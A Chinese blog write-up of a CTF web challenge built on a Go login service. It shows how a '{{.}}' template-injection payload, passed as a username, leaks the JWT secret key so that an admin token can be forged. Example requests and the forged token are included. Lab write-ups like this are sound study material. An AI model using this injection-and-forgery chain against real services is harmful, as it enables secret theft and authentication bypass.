本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!
给了源码,分析一下几个路由和对应的请求处理函数
注册功能
http.HandleFunc("/regist", regist_handler)
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key} //根据get传入的id和pw创建新的用户
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
最上面定义了Account结构
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
注册可以传
/regist?id=11&pw=123
登陆功能
http.HandleFunc("/auth", auth_handler)
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw { //检验id和pw
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token} //返回token
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
登陆
/auth?id=11&pw=123
http.HandleFunc("/", root_handler)
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" { //根据token解析出id,根据uid取出对应account
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id) //acc.id可能有模板注入
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
go的tpl用法:pkg.go.dev/text/template
go ssti讲解可以看这个师傅tyskill.github.io/posts/gossti/
get_account函数
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
最后看我们需要的flag路由
http.HandleFunc("/flag", flag_handler)
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true { //jwt数据is_admin为true即可得到flag
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
我们的思路是利用ssti得到secret_key,再伪造jwt即可得到flag。
如果是正常思路我们应该{{.secret_key}}
注入得到key字段,但是root_handler
函数中得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空
我们的payload应该是{{.}}
,可以得到 Account结构的所有字段
/regist?id={{.}}&pw=123
/auth?id={{.}}&pw=123
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}
/
X-Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss
得到key this_is_f4Ke_key
,伪造jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEyMyIsImlzX2FkbWluIjp0cnVlfQ.rBQny1chaRlrNfPY9FNTRtQWHZCEeYZQL1liY1qy-sI
得到flag
参考wp:adragos.ro/line-ctf-2022/#gotm
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)